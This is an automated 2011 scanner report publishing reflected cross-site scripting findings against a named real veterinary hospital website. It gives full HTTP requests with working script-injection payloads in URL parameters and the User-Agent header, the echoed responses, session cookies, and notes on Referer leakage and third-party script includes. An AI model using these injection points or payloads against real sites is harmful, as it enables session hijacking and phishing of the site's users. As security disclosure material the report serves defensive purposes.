XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, vcaspecialtyvets.com

Report generated by XSS.CX at Sun Dec 04 21:12:41 CST 2011.

Loading



1. Cross-site scripting (reflected)

1.1. http://www.vcaspecialtyvets.com/alameda-east/appointment [53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40 parameter]

1.2. http://www.vcaspecialtyvets.com/alameda-east/appointment [d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb parameter]

1.3. http://www.vcaspecialtyvets.com/alameda-east/appointment [d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb parameter]

1.4. http://www.vcaspecialtyvets.com/alameda-east/appointment [name of an arbitrarily supplied request parameter]

1.5. http://www.vcaspecialtyvets.com/alameda-east/appointment [User-Agent HTTP header]

2. Cross-domain Referer leakage

3. Cross-domain script include

3.1. http://www.vcaspecialtyvets.com/alameda-east/appointment

3.2. http://www.vcaspecialtyvets.com/favicon.ico



1. Cross-site scripting (reflected)  next
There are 5 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.vcaspecialtyvets.com/alameda-east/appointment [53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40 parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The value of the 53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40 request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e3de"><script>alert(1)</script>f655f22bb25 was submitted in the 53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40 parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb=1&53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40=18e3de"><script>alert(1)</script>f655f22bb25 HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6nnpchd2dch9sbaf5540u6pvk1; UnicaNIODID=J5q2J1aq3kX-XRdtGAs; __utma=96953496.1875411852.1322418941.1322418941.1322418941.1; __utmb=96953496.2.10.1322418941; __utmc=96953496; __utmz=96953496.1322418941.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:36:45 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
="uri" id="uri" value="http://www.vcaspecialtyvets.com/alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb=1&53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40=18e3de"><script>alert(1)</script>f655f22bb25" />
...[SNIP]...

1.2. http://www.vcaspecialtyvets.com/alameda-east/appointment [d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The value of the d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 66657"><script>alert(1)</script>f94b9394f44 was submitted in the d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb=166657"><script>alert(1)</script>f94b9394f44&53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40=1 HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6nnpchd2dch9sbaf5540u6pvk1; UnicaNIODID=J5q2J1aq3kX-XRdtGAs; __utma=96953496.1875411852.1322418941.1322418941.1322418941.1; __utmb=96953496.2.10.1322418941; __utmc=96953496; __utmz=96953496.1322418941.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:36:45 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24876

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
<input type="hidden" name="uri" id="uri" value="http://www.vcaspecialtyvets.com/alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(/scott/)%3C/script%3E1c53cb3f7cb=166657"><script>alert(1)</script>f94b9394f44&53c94%22%3E%3Cscript%3Ealert(1)%3C/script%3E670b4211b40=1" />
...[SNIP]...

1.3. http://www.vcaspecialtyvets.com/alameda-east/appointment [d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The value of the d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d08e2"><script>alert(1)</script>4c1ce63d77e was submitted in the d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1d08e2"><script>alert(1)</script>4c1ce63d77e HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:35:43 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24812

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
<input type="hidden" name="uri" id="uri" value="http://www.vcaspecialtyvets.com/alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1d08e2"><script>alert(1)</script>4c1ce63d77e" />
...[SNIP]...

1.4. http://www.vcaspecialtyvets.com/alameda-east/appointment [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53c94"><script>alert(1)</script>670b4211b40 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1&53c94"><script>alert(1)</script>670b4211b40=1 HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:35:43 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24815

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
<input type="hidden" name="uri" id="uri" value="http://www.vcaspecialtyvets.com/alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1&53c94"><script>alert(1)</script>670b4211b40=1" />
...[SNIP]...

1.5. http://www.vcaspecialtyvets.com/alameda-east/appointment [User-Agent HTTP header]  previous  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The value of the User-Agent HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e727b"><script>alert(1)</script>b20b5fcf230 was submitted in the User-Agent HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1 HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13e727b"><script>alert(1)</script>b20b5fcf230
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:35:44 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24855

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
<input type="hidden" name="useragent" id="useragent" value="Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13e727b"><script>alert(1)</script>b20b5fcf230" />
...[SNIP]...

2. Cross-domain Referer leakage  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Issue background

When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.

If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.

You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.

Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.

Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.

Issue remediation

The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1 HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:35:41 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24769

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
...[SNIP]...
<li id="tab-general"><a href="http://www.vcahospitals.com/alameda-east" class="hybrid-tab">General Practice</a>
...[SNIP]...
<li><a href="http://www.vcahospitals.com/main/charities.html" target="_blank">VCA Charities</a>
...[SNIP]...
<li><a href="http://www.facebook.com/VCAAnimalHospitals" target="_blank"><img src="/img/template/facebook.png" alt="Share VCA Hospitals on Facebook" style="vertical-align:bottom;" />
...[SNIP]...
<li><a href="http://www.twitter.com/VCAPetHealth" target="_blank"><img src="/img/template/twitter.png" alt="Follow VCAPetHealth on Twitter" style="vertical-align:bottom;" />
...[SNIP]...
<p><a href="http://www.vcahospitals.com/main/directory.html">See all VCA Animal Hospitals</a>
...[SNIP]...

3. Cross-domain script include  previous
There are 2 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.


3.1. http://www.vcaspecialtyvets.com/alameda-east/appointment  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /alameda-east/appointment

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /alameda-east/appointment?d6646%22%3E%3Cscript%3Ealert(1)%3C/script%3E1c53cb3f7cb=1 HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 200 OK
Date: Sun, 27 Nov 2011 18:35:41 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Type: text/html
Content-Length: 24769

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
...[SNIP]...

3.2. http://www.vcaspecialtyvets.com/favicon.ico  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.vcaspecialtyvets.com
Path:   /favicon.ico

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /favicon.ico HTTP/1.1
Host: www.vcaspecialtyvets.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: PHPSESSID=6nnpchd2dch9sbaf5540u6pvk1; UnicaNIODID=J5q2J1aq3kX-XRdtGAs; __utma=96953496.1875411852.1322418941.1322418941.1322418941.1; __utmb=96953496.1.10.1322418941; __utmc=96953496; __utmz=96953496.1322418941.1.1.utmcsr=fakereferrerdominator.com|utmccn=(referral)|utmcmd=referral|utmcct=/referrerPathName

Response

HTTP/1.1 404 Not Found
Date: Sun, 27 Nov 2011 18:35:50 GMT
Server: Apache/2.2.17 (Win32) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Status: 404 Not Found
Content-Length: 7025
Content-Type: text/html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   <meta http-equiv="conte
...[SNIP]...
</script>
<script src="http://vca.unicaondemand.com/ods/js/imodTag.js" type="text/javascript"></script>
...[SNIP]...

Report generated by XSS.CX at Sun Dec 04 21:12:41 CST 2011.